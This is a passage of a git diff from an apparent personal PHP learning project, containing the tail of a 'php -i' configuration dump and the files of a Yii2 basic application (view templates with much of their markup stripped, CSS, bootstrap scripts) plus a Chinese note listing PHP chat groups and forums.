input encoding translation => disabled +libmbfl version => 1.3.2 + +mbstring extension makes use of "streamable kanji code filter and converter", which is distributed under the GNU Lesser General Public License version 2.1. + +Multibyte (japanese) regex support => enabled +Multibyte regex (oniguruma) backtrack check => On +Multibyte regex (oniguruma) version => 4.7.1 + +Directive => Local Value => Master Value +mbstring.detect_order => no value => no value +mbstring.encoding_translation => Off => Off +mbstring.func_overload => 0 => 0 +mbstring.http_input => pass => pass +mbstring.http_output => pass => pass +mbstring.http_output_conv_mimetypes => ^(text/|application/xhtml\+xml) => ^(text/|application/xhtml\+xml) +mbstring.internal_encoding => no value => no value +mbstring.language => neutral => neutral +mbstring.strict_detection => Off => Off +mbstring.substitute_character => no value => no value + +mcrypt + +mcrypt support => enabled +mcrypt_filter support => enabled +Version => 2.5.8 +Api No => 20021217 +Supported ciphers => cast-128 gost rijndael-128 twofish arcfour cast-256 loki97 rijndael-192 saferplus wake blowfish-compat des rijndael-256 serpent xtea blowfish enigma rc2 tripledes +Supported modes => cbc cfb ctr ecb ncfb nofb ofb stream + +Directive => Local Value => Master Value +mcrypt.algorithms_dir => no value => no value +mcrypt.modes_dir => no value => no value + +memcache + +memcache support => enabled +Active persistent connections => 0 +Version => 2.2.7 +Revision => $Revision: 327750 $ + +Directive => Local Value => Master Value +memcache.allow_failover => 1 => 1 +memcache.chunk_size => 8192 => 8192 +memcache.default_port => 11211 => 11211 +memcache.default_timeout_ms => 1000 => 1000 +memcache.hash_function => crc32 => crc32 +memcache.hash_strategy => standard => standard +memcache.max_failover_attempts => 20 => 20 + +mssql + +MSSQL Support => enabled +Active Persistent Links => 0 +Active Links => 0 +Library version => FreeTDS + +Directive => Local Value => Master Value +mssql.allow_persistent => On => On +mssql.batchsize => 0 => 0 +mssql.charset => GBK => GBK +mssql.compatability_mode => Off => Off +mssql.connect_timeout => 5 => 5 +mssql.datetimeconvert => On => On +mssql.max_links => Unlimited => Unlimited +mssql.max_persistent => Unlimited => Unlimited +mssql.max_procs => Unlimited => Unlimited +mssql.min_error_severity => 10 => 10 +mssql.min_message_severity => 10 => 10 +mssql.secure_connection => Off => Off +mssql.textlimit => Server default => Server default +mssql.textsize => Server default => Server default +mssql.timeout => 60 => 60 + +mysql + +MySQL Support => enabled +Active Persistent Links => 0 +Active Links => 0 +Client API version => 5.5.40 +MYSQL_MODULE_TYPE => external +MYSQL_SOCKET => /tmp/mysql.sock +MYSQL_INCLUDE => -I/usr/local/mysql/include +MYSQL_LIBS => -L/usr/local/mysql/lib -lmysqlclient_r + +Directive => Local Value => Master Value +mysql.allow_local_infile => On => On +mysql.allow_persistent => On => On +mysql.connect_timeout => 60 => 60 +mysql.default_host => no value => no value +mysql.default_password => no value => no value +mysql.default_port => no value => no value +mysql.default_socket => /tmp/mysql.sock => /tmp/mysql.sock +mysql.default_user => no value => no value +mysql.max_links => Unlimited => Unlimited +mysql.max_persistent => Unlimited => Unlimited +mysql.trace_mode => Off => Off + +mysqli + +MysqlI Support => enabled +Client API library version => 5.5.40 +Active Persistent Links => 0 +Inactive Persistent Links => 0 +Active Links => 0 +Client API header version => 5.5.30 +MYSQLI_SOCKET => /tmp/mysql.sock + +Directive => Local Value => Master Value +mysqli.allow_local_infile => On => On +mysqli.allow_persistent => On => On +mysqli.default_host => no value => no value +mysqli.default_port => 3306 => 3306 +mysqli.default_pw => no value => no value +mysqli.default_socket => no value => no value +mysqli.default_user => no value => no value +mysqli.max_links => Unlimited => Unlimited +mysqli.max_persistent => Unlimited => Unlimited +mysqli.reconnect => Off => Off + +openssl + +OpenSSL support => enabled +OpenSSL Library Version => OpenSSL 1.0.1 14 Mar 2012 +OpenSSL Header Version => OpenSSL 1.0.1 14 Mar 2012 + +pcre + +PCRE (Perl Compatible Regular Expressions) Support => enabled +PCRE Library Version => 8.31 2012-07-06 + +Directive => Local Value => Master Value +pcre.backtrack_limit => 1000000 => 1000000 +pcre.recursion_limit => 100000 => 100000 + +PDO + +PDO support => enabled +PDO drivers => sqlite + +pdo_sqlite + +PDO Driver for SQLite 3.x => enabled +SQLite Library => 3.7.7.1 + +Phar + +Phar: PHP Archive support => enabled +Phar EXT version => 2.0.1 +Phar API version => 1.1.1 +SVN revision => $Id: cc7eac717db60fe3deade794d4ae082fe97279ed $ +Phar-based phar archives => enabled +Tar-based phar archives => enabled +ZIP-based phar archives => enabled +gzip compression => disabled (install ext/zlib) +bzip2 compression => enabled +Native OpenSSL support => enabled + + +Phar based on pear/PHP_Archive, original concept by Davey Shafik. +Phar fully realized by Gregory Beaver and Marcus Boerger. +Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle. +Directive => Local Value => Master Value +phar.cache_list => no value => no value +phar.readonly => On => On +phar.require_hash => On => On + +posix + +Revision => $Id: 967584c6fadb3467f31abe8e13caa8764df85867 $ + +Reflection + +Reflection => enabled +Version => $Id: 60f1e547a6dd00239162151e701566debdcee660 $ + +session + +Session Support => enabled +Registered save handlers => files user memcache +Registered serializer handlers => php php_binary + +Directive => Local Value => Master Value +session.auto_start => Off => Off +session.cache_expire => 180 => 180 +session.cache_limiter => nocache => nocache +session.cookie_domain => no value => no value +session.cookie_httponly => Off => Off +session.cookie_lifetime => 0 => 0 +session.cookie_path => / => / +session.cookie_secure => Off => Off +session.entropy_file => /dev/urandom => /dev/urandom +session.entropy_length => 32 => 32 +session.gc_divisor => 1000 => 1000 +session.gc_maxlifetime => 1440 => 1440 +session.gc_probability => 1 => 1 +session.hash_bits_per_character => 5 => 5 +session.hash_function => 0 => 0 +session.name => PHPSESSID => PHPSESSID +session.referer_check => no value => no value +session.save_handler => files => files +session.save_path => no value => no value +session.serialize_handler => php => php +session.upload_progress.cleanup => On => On +session.upload_progress.enabled => On => On +session.upload_progress.freq => 1% => 1% +session.upload_progress.min_freq => 1 => 1 +session.upload_progress.name => PHP_SESSION_UPLOAD_PROGRESS => PHP_SESSION_UPLOAD_PROGRESS +session.upload_progress.prefix => upload_progress_ => upload_progress_ +session.use_cookies => On => On +session.use_only_cookies => On => On +session.use_trans_sid => 0 => 0 + +SimpleXML + +Simplexml support => enabled +Revision => $Id: 5514f0fc897197ca9a199fb93b8b5d9135ad711a $ +Schema support => enabled + +soap + +Soap Client => enabled +Soap Server => enabled + +Directive => Local Value => Master Value +soap.wsdl_cache => 1 => 1 +soap.wsdl_cache_dir => /tmp => /tmp +soap.wsdl_cache_enabled => 1 => 1 +soap.wsdl_cache_limit => 5 => 5 +soap.wsdl_cache_ttl => 86400 => 86400 + +sockets + +Sockets Support => enabled + +SPL + +SPL support => enabled +Interfaces => Countable, OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject +Classes => AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException + +sqlite3 + +SQLite3 support => enabled +SQLite3 module version => 0.7 +SQLite Library => 3.7.7.1 + +Directive => Local Value => Master Value +sqlite3.extension_dir => no value => no value + +standard + +Dynamic Library Support => enabled +Path to sendmail => -t -i + +Directive => Local Value => Master Value +assert.active => 1 => 1 +assert.bail => 0 => 0 +assert.callback => no value => no value +assert.quiet_eval => 0 => 0 +assert.warning => 1 => 1 +auto_detect_line_endings => 0 => 0 +default_socket_timeout => 60 => 60 +from => no value => no value +url_rewriter.tags => a=href,area=href,frame=src,input=src,form=fakeentry => a=href,area=href,frame=src,input=src,form=fakeentry +user_agent => no value => no value + +tokenizer + +Tokenizer Support => enabled + +xdebug + +xdebug support => enabled +Version => 2.2.5 +IDE Key => root + +Supported protocols => Revision +DBGp - Common DeBuGger Protocol => $Revision: 1.145 $ + +Directive => Local Value => Master Value +xdebug.auto_trace => On => On +xdebug.cli_color => 0 => 0 +xdebug.collect_assignments => Off => Off +xdebug.collect_includes => On => On +xdebug.collect_params => 1 => 1 +xdebug.collect_return => On => On +xdebug.collect_vars => Off => Off +xdebug.coverage_enable => On => On +xdebug.default_enable => On => On +xdebug.dump.COOKIE => no value => no value +xdebug.dump.ENV => no value => no value +xdebug.dump.FILES => no value => no value +xdebug.dump.GET => no value => no value +xdebug.dump.POST => no value => no value +xdebug.dump.REQUEST => no value => no value +xdebug.dump.SERVER => no value => no value +xdebug.dump.SESSION => no value => no value +xdebug.dump_globals => On => On +xdebug.dump_once => On => On +xdebug.dump_undefined => Off => Off +xdebug.extended_info => On => On +xdebug.file_link_format => no value => no value +xdebug.idekey => no value => no value +xdebug.max_nesting_level => 100 => 100 +xdebug.overload_var_dump => On => On +xdebug.profiler_aggregate => Off => Off +xdebug.profiler_append => Off => Off +xdebug.profiler_enable => On => On +xdebug.profiler_enable_trigger => Off => Off +xdebug.profiler_output_dir => /usr/local/php/xdebug/profiler => /usr/local/php/xdebug/profiler +xdebug.profiler_output_name => cachegrind.out.%p => cachegrind.out.%p +xdebug.remote_autostart => On => On +xdebug.remote_connect_back => Off => Off +xdebug.remote_cookie_expire_time => 3600 => 3600 +xdebug.remote_enable => On => On +xdebug.remote_handler => dbgp => dbgp +xdebug.remote_host => 127.0.0.1 => 127.0.0.1 +xdebug.remote_log => no value => no value +xdebug.remote_mode => req => req +xdebug.remote_port => 9001 => 9001 +xdebug.scream => Off => Off +xdebug.show_exception_trace => Off => Off +xdebug.show_local_vars => Off => Off +xdebug.show_mem_delta => Off => Off +xdebug.trace_enable_trigger => Off => Off +xdebug.trace_format => 0 => 0 +xdebug.trace_options => 0 => 0 +xdebug.trace_output_dir => /usr/local/php/xdebug/trace => /usr/local/php/xdebug/trace +xdebug.trace_output_name => trace.%c => trace.%c +xdebug.var_display_max_children => 128 => 128 +xdebug.var_display_max_data => 512 => 512 +xdebug.var_display_max_depth => 3 => 3 + +xml + +XML Support => active +XML Namespace Support => active +libxml2 Version => 2.6.30 + +xmlreader + +XMLReader => enabled + +xmlrpc + +core library version => xmlrpc-epi v. 0.51 +php extension version => 0.51 +author => Dan Libby +homepage => http://xmlrpc-epi.sourceforge.net +open sourced by => Epinions.com + +xmlwriter + +XMLWriter => enabled + +zip + +Zip => enabled +Extension Version => $Id: 74f868b5c3320a31af332207df35d4ff525cba1e $ +Zip version => 1.11.0 +Libzip version => 0.10.1 + +Additional Modules + +Module Name + +Environment + +Variable => Value +TERM => xterm-256color +LS_COLORS => rs=0:di=01;33:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36: +PATH => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +LANG => zh_CN.UTF-8 +HOME => /home/lxf +LANGUAGE => zh_CN:zh +DISPLAY => :0.0 +COLORTERM => gnome-terminal +XAUTHORITY => /home/lxf/.Xauthority +SHELL => /bin/bash +LOGNAME => root +USER => root +USERNAME => root +MAIL => /var/mail/root +SUDO_COMMAND => /usr/bin/php -i +SUDO_USER => lxf +SUDO_UID => 1000 +SUDO_GID => 1000 + +PHP Variables + +Variable => Value +_SERVER["TERM"] => xterm-256color +_SERVER["LS_COLORS"] => rs=0:di=01;33:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36: +_SERVER["PATH"] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +_SERVER["LANG"] => zh_CN.UTF-8 +_SERVER["HOME"] => /home/lxf +_SERVER["LANGUAGE"] => zh_CN:zh +_SERVER["DISPLAY"] => :0.0 +_SERVER["COLORTERM"] => gnome-terminal +_SERVER["XAUTHORITY"] => /home/lxf/.Xauthority +_SERVER["SHELL"] => /bin/bash +_SERVER["LOGNAME"] => root +_SERVER["USER"] => root +_SERVER["USERNAME"] => root +_SERVER["MAIL"] => /var/mail/root +_SERVER["SUDO_COMMAND"] => /usr/bin/php -i +_SERVER["SUDO_USER"] => lxf +_SERVER["SUDO_UID"] => 1000 +_SERVER["SUDO_GID"] => 1000 +_SERVER["PHP_SELF"] => +_SERVER["SCRIPT_NAME"] => +_SERVER["SCRIPT_FILENAME"] => +_SERVER["PATH_TRANSLATED"] => +_SERVER["DOCUMENT_ROOT"] => +_SERVER["REQUEST_TIME_FLOAT"] => 1416966355.2815 +_SERVER["REQUEST_TIME"] => 1416966355 +_SERVER["argv"] => Array +( +) + +_SERVER["argc"] => 0 + +PHP License +This program is free software; you can redistribute it and/or modify +it under the terms of the PHP License as published by the PHP Group +and included in the distribution in the file: LICENSE + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +If you did not receive a copy of the PHP license, or have any +questions about PHP licensing, please contact license@php.net. diff --git a/php/yii2/basic/views/dir1/entry.php b/php/yii2/basic/views/dir1/entry.php new file mode 100755 index 00000000..e6891a24 --- /dev/null +++ b/php/yii2/basic/views/dir1/entry.php @@ -0,0 +1,15 @@ + + + + + field($model, 'name') ?> + field($model, 'email') ?> + +
              + 'btn btn-primary']) ?> +
              + + diff --git a/php/yii2/basic/views/dir1/test-model/adminUser.php b/php/yii2/basic/views/dir1/test-model/adminUser.php new file mode 100755 index 00000000..732ffe47 --- /dev/null +++ b/php/yii2/basic/views/dir1/test-model/adminUser.php @@ -0,0 +1,36 @@ +title='登录页面'; +$this->registerMetaTag(['name' => 'keywords', 'content' => 'yii, framework, php']); +$this->registerLinkTag([ + 'rel' => 'stylesheet', + 'href' => 'a.css', + ]); +/* +$this->params['breadcrumbs'][] = '我的面包'; +$this->params['breadcrumbs'][] = '我的面包2'; + */ +?> +

              title)?>

              +The controller ID is: context->id ?> + + + + field($model, 'user_name') ?> + field($model, 'user_password')->passwordInput() ?> + field($model, 'user_personid') ?> + +
              + 'btn btn-primary']) ?> +
              + + + + +blocks['block1'])): ?> + blocks['block1'] ?> + + ... default content for block1 ... + diff --git a/php/yii2/basic/views/dir1/test-model/entry.php b/php/yii2/basic/views/dir1/test-model/entry.php new file mode 100755 index 00000000..e6891a24 --- /dev/null +++ b/php/yii2/basic/views/dir1/test-model/entry.php @@ -0,0 +1,15 @@ + + + + + field($model, 'name') ?> + field($model, 'email') ?> + +
              + 'btn btn-primary']) ?> +
              + + diff --git a/php/yii2/basic/views/dir1/test-model/pages/about.php b/php/yii2/basic/views/dir1/test-model/pages/about.php new file mode 100644 index 00000000..30176b07 --- /dev/null +++ b/php/yii2/basic/views/dir1/test-model/pages/about.php @@ -0,0 +1,3 @@ + + this is a static html for test! + diff --git a/php/yii2/basic/views/layouts/base.php b/php/yii2/basic/views/layouts/base.php new file mode 100644 index 00000000..48f4f924 --- /dev/null +++ b/php/yii2/basic/views/layouts/base.php @@ -0,0 +1,56 @@ + +beginPage() ?> + + + + + + + <?= Html::encode('我是嵌套布局中的子布局页面') ?> + head() ?> + + + +beginBody() ?> +
              +

              我是嵌套布局中的子布局页面

              + '嵌套布局中的子布局页面', + 'brandUrl' => Yii::$app->homeUrl, + 'options' => [ + 'class' => 'navbar-inverse navbar-fixed-top', + ], + ]); + echo Nav::widget([ + 'options' => ['class' => 'navbar-nav navbar-right'], + 'items' => [ + ['label' => 'Home', 'url' => ['/site/index']], + ['label' => 'About', 'url' => ['/site/about']], + ['label' => 'Contact', 'url' => ['/site/contact']], + Yii::$app->user->isGuest ? + ['label' => 'Login', 'url' => ['/site/login']] : + ['label' => 'Logout (' . Yii::$app->user->identity->username . ')', + 'url' => ['/site/logout'], + 'linkOptions' => ['data-method' => 'post']], + ], + ]); + NavBar::end(); + ?> + +
              +endBody() ?> + + +endPage() ?> diff --git a/php/yii2/basic/views/layouts/main.php b/php/yii2/basic/views/layouts/main.php new file mode 100644 index 00000000..a17e64f3 --- /dev/null +++ b/php/yii2/basic/views/layouts/main.php @@ -0,0 +1,69 @@ + +beginPage() ?> + + + + + + + <?= Html::encode($this->title) ?> + head() ?> + + + +beginBody() ?> +
              + 'yii2学习测试头部', + 'brandUrl' => Yii::$app->homeUrl, + 'options' => [ + 'class' => 'navbar-inverse navbar-fixed-top', + ], + ]); + echo Nav::widget([ + 'options' => ['class' => 'navbar-nav navbar-right'], + 'items' => [ + ['label' => 'Home', 'url' => ['/site/index']], + ['label' => 'About', 'url' => ['/site/about']], + ['label' => 'Contact', 'url' => ['/site/contact']], + Yii::$app->user->isGuest ? + ['label' => 'Login', 'url' => ['/site/login']] : + ['label' => 'Logout (' . Yii::$app->user->identity->username . ')', + 'url' => ['/site/logout'], + 'linkOptions' => ['data-method' => 'post']], + ], + ]); + NavBar::end(); + ?> + +
              + isset($this->params['breadcrumbs']) ? $this->params['breadcrumbs'] : [], + ]) ?> + +
              +
              + +
              +
              +

              © My Company

              +

              +
              +
              + +endBody() ?> + + +endPage() ?> diff --git a/php/yii2/basic/views/site/.entry-confirm.php.swp b/php/yii2/basic/views/site/.entry-confirm.php.swp new file mode 100644 index 00000000..1634422c Binary files /dev/null and b/php/yii2/basic/views/site/.entry-confirm.php.swp differ diff --git a/php/yii2/basic/views/site/about.php b/php/yii2/basic/views/site/about.php new file mode 100644 index 00000000..13d85a61 --- /dev/null +++ b/php/yii2/basic/views/site/about.php @@ -0,0 +1,16 @@ +title = 'About'; +$this->params['breadcrumbs'][] = $this->title; +?> +
              +

              title) ?>

              + +

              + This is the About page. You may modify the following file to customize its content: +

              + + +
              diff --git a/php/yii2/basic/views/site/contact.php b/php/yii2/basic/views/site/contact.php new file mode 100644 index 00000000..e964a342 --- /dev/null +++ b/php/yii2/basic/views/site/contact.php @@ -0,0 +1,57 @@ +title = 'Contact'; +$this->params['breadcrumbs'][] = $this->title; +?> +
              +

              title) ?>

              + + session->hasFlash('contactFormSubmitted')): ?> + +
              + Thank you for contacting us. We will respond to you as soon as possible. +
              + +

              + Note that if you turn on the Yii debugger, you should be able + to view the mail message on the mail panel of the debugger. + mailer->useFileTransport): ?> + Because the application is in development mode, the email is not sent but saved as + a file under mailer->fileTransportPath) ?>. + Please configure the useFileTransport property of the mail + application component to be false to enable email sending. + +

              + + + +

              + If you have business inquiries or other questions, please fill out the following form to contact us. Thank you. +

              + +
              +
              + 'contact-form']); ?> + field($model, 'name') ?> + field($model, 'email') ?> + field($model, 'subject') ?> + field($model, 'body')->textArea(['rows' => 6]) ?> + field($model, 'verifyCode')->widget(Captcha::className(), [ + 'template' => '
              {image}
              {input}
              ', + ]) ?> +
              + 'btn btn-primary', 'name' => 'contact-button']) ?> +
              + +
              +
              + + +
              diff --git a/php/yii2/basic/views/site/entry-confirm.php b/php/yii2/basic/views/site/entry-confirm.php new file mode 100644 index 00000000..b7c8b865 --- /dev/null +++ b/php/yii2/basic/views/site/entry-confirm.php @@ -0,0 +1,9 @@ + +

              You have entered the following information:

              + +
                +
              • : name) ?>
              • +
              • : email) ?>
              • +
              diff --git a/php/yii2/basic/views/site/entry.php b/php/yii2/basic/views/site/entry.php new file mode 100644 index 00000000..e6891a24 --- /dev/null +++ b/php/yii2/basic/views/site/entry.php @@ -0,0 +1,15 @@ + + + + + field($model, 'name') ?> + field($model, 'email') ?> + +
              + 'btn btn-primary']) ?> +
              + + diff --git a/php/yii2/basic/views/site/error.php b/php/yii2/basic/views/site/error.php new file mode 100644 index 00000000..b9812c48 --- /dev/null +++ b/php/yii2/basic/views/site/error.php @@ -0,0 +1,27 @@ +title = $name; +?> +
              + +

              title) ?>

              + +
              + +
              + +

              + The above error occurred while the Web server was processing your request. +

              +

              + Please contact us if you think this is a server error. Thank you. +

              + +
              diff --git a/php/yii2/basic/views/site/index.php b/php/yii2/basic/views/site/index.php new file mode 100644 index 00000000..a00ee4da --- /dev/null +++ b/php/yii2/basic/views/site/index.php @@ -0,0 +1,51 @@ +title = 'My Yii Application'; +?> +
              + +
              +

              Congratulations!

              + +

              You have successfully created your Yii-powered application.

              + +

              Get started with Yii

              +
              + +
              + +
              +
              +

              Heading

              + +

              Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et + dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip + ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu + fugiat nulla pariatur.

              + +

              Yii Documentation »

              +
              +
              +

              Heading

              + +

              Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et + dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip + ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu + fugiat nulla pariatur.

              + +

              Yii Forum »

              +
              +
              +

              Heading

              + +

              Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et + dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip + ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu + fugiat nulla pariatur.

              + +

              Yii Extensions »

              +
              +
              + +
              +
              diff --git a/php/yii2/basic/views/site/login.php b/php/yii2/basic/views/site/login.php new file mode 100644 index 00000000..916be980 --- /dev/null +++ b/php/yii2/basic/views/site/login.php @@ -0,0 +1,46 @@ +title = 'Login'; +$this->params['breadcrumbs'][] = $this->title; +?> + diff --git a/php/yii2/basic/views/site/say.php b/php/yii2/basic/views/site/say.php new file mode 100644 index 00000000..b98c1262 --- /dev/null +++ b/php/yii2/basic/views/site/say.php @@ -0,0 +1,4 @@ + + diff --git a/php/yii2/basic/web/assets/.gitignore b/php/yii2/basic/web/assets/.gitignore new file mode 100644 index 00000000..d6b7ef32 --- /dev/null +++ b/php/yii2/basic/web/assets/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/php/yii2/basic/web/css/site.css b/php/yii2/basic/web/css/site.css new file mode 100644 index 00000000..698be709 --- /dev/null +++ b/php/yii2/basic/web/css/site.css @@ -0,0 +1,91 @@ +html, +body { + height: 100%; +} + +.wrap { + min-height: 100%; + height: auto; + margin: 0 auto -60px; + padding: 0 0 60px; +} + +.wrap > .container { + padding: 70px 15px 20px; +} + +.footer { + height: 60px; + background-color: #f5f5f5; + border-top: 1px solid #ddd; + padding-top: 20px; +} + +.jumbotron { + text-align: center; + background-color: transparent; +} + +.jumbotron .btn { + font-size: 21px; + padding: 14px 24px; +} + +.not-set { + color: #c55; + font-style: italic; +} + +/* add sorting icons to gridview sort links */ +a.asc:after, a.desc:after { + position: relative; + top: 1px; + display: inline-block; + font-family: 'Glyphicons Halflings'; + font-style: normal; + font-weight: normal; + line-height: 1; + padding-left: 5px; +} + +a.asc:after { + content: /*"\e113"*/ "\e151"; +} + +a.desc:after { + content: /*"\e114"*/ "\e152"; +} + +.sort-numerical a.asc:after { + content: "\e153"; +} + +.sort-numerical a.desc:after { + content: "\e154"; +} + +.sort-ordinal a.asc:after { + content: "\e155"; +} + +.sort-ordinal a.desc:after { + content: "\e156"; +} + +.grid-view th { + white-space: nowrap; +} + +.hint-block { + display: block; + margin-top: 5px; + color: #999; +} + +.error-summary { + color: #a94442; + background: #fdf7f7; + border-left: 3px solid #eed3d7; + padding: 10px 20px; + margin: 0 0 15px 0; +} diff --git a/php/yii2/basic/web/favicon.ico b/php/yii2/basic/web/favicon.ico new file mode 100644 index 00000000..580ed732 Binary files /dev/null and b/php/yii2/basic/web/favicon.ico differ diff --git a/php/yii2/basic/web/index-test.php b/php/yii2/basic/web/index-test.php new file mode 100644 index 00000000..32b4ce3e --- /dev/null +++ b/php/yii2/basic/web/index-test.php @@ -0,0 +1,16 @@ +run(); diff --git a/php/yii2/basic/web/index.php b/php/yii2/basic/web/index.php new file mode 100644 index 00000000..d1e070a3 --- /dev/null +++ b/php/yii2/basic/web/index.php @@ -0,0 +1,12 @@ +run(); diff --git a/php/yii2/basic/web/robots.txt b/php/yii2/basic/web/robots.txt new file mode 100644 index 00000000..6f27bb66 --- /dev/null +++ b/php/yii2/basic/web/robots.txt @@ -0,0 +1,2 @@ +User-agent: * +Disallow: \ No newline at end of file diff --git a/php/yii2/basic/web/test.php b/php/yii2/basic/web/test.php new file mode 100755 index 00000000..805b26c1 --- /dev/null +++ b/php/yii2/basic/web/test.php @@ -0,0 +1,20 @@ +run(); +exit($exitCode); diff --git a/php/yii2/basic/yii.bat b/php/yii2/basic/yii.bat new file mode 100644 index 00000000..d516b3a1 --- /dev/null +++ b/php/yii2/basic/yii.bat @@ -0,0 +1,20 @@ +@echo off + +rem ------------------------------------------------------------- +rem Yii command line bootstrap script for Windows. +rem +rem @author Qiang Xue +rem @link http://www.yiiframework.com/ +rem @copyright Copyright (c) 2008 Yii Software LLC +rem @license http://www.yiiframework.com/license/ +rem ------------------------------------------------------------- + +@setlocal + +set YII_PATH=%~dp0 + +if "%PHP_COMMAND%" == "" set PHP_COMMAND=php.exe + +"%PHP_COMMAND%" "%YII_PATH%yii" %* + +@endlocal diff --git "a/php\346\213\233\350\201\230.md" "b/php\346\213\233\350\201\230.md" new file mode 100644 index 00000000..9b2a249c --- /dev/null +++ "b/php\346\213\233\350\201\230.md" @@ -0,0 +1,50 @@ +### php技术群号 +312633678 398424711 225066898 225066898 366579229 37855482 4874797 188487667 + +### php论坛社区 +* http://tieba.baidu.com/p/3684179042 +* http://www.php100.com/ +* http://bbs.phpchina.com/ + +### app +* 